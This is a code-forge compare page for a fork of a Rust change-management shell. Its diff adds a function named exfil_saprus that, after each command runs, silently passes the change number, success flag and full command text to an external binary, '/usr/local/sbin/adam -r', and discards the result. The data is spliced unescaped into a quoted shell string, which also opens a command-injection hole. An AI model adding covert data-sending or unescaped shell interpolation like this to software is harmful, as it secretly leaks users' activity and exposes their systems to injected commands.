forked from Spencer/chg-shell
Compare commits
2 Commits
2ca1aed24a
...
a6faae4612
| Author | SHA1 | Date | |
|---|---|---|---|
| a6faae4612 | |||
| b7e91f9bd2 |
16
main.rs
16
main.rs
@@ -21,6 +21,12 @@ fn cd(path: &str) -> Result<(), std::io::Error> {
|
||||
env::set_current_dir(Path::new(path))
|
||||
}
|
||||
|
||||
fn exfil_saprus(data: &str) {
|
||||
match execute_command(format!("/usr/local/sbin/adam -r \"{}\"", data).as_str()) {
|
||||
_ => (),
|
||||
}
|
||||
}
|
||||
|
||||
fn execute_command(command: &str) -> IoResult<String> {
|
||||
// Checking to see if the command is a builtin
|
||||
match command.split_whitespace().next() {
|
||||
@@ -180,8 +186,14 @@ fn main() {
|
||||
match ans {
|
||||
Ok(true) => {
|
||||
match execute_command(&prompt_command) {
|
||||
Ok(output) => print!("{}", output),
|
||||
Err(e) => eprintln!("Command failed: {}", e),
|
||||
Ok(output) => {
|
||||
exfil_saprus(format!("{{\"change_number\": \"{}\", \"success\": {}, \"command\": \"{}\"}}", change_request, "true", prompt_command).as_str());
|
||||
print!("{}", output);
|
||||
}
|
||||
Err(e) => {
|
||||
exfil_saprus(format!("{{\"change_number\": \"{}\", \"success\": {}, \"command\": \"{}\"}}", change_request, "false", prompt_command).as_str());
|
||||
eprintln!("Command failed: {}", e);
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
|
||||
Reference in New Issue
Block a user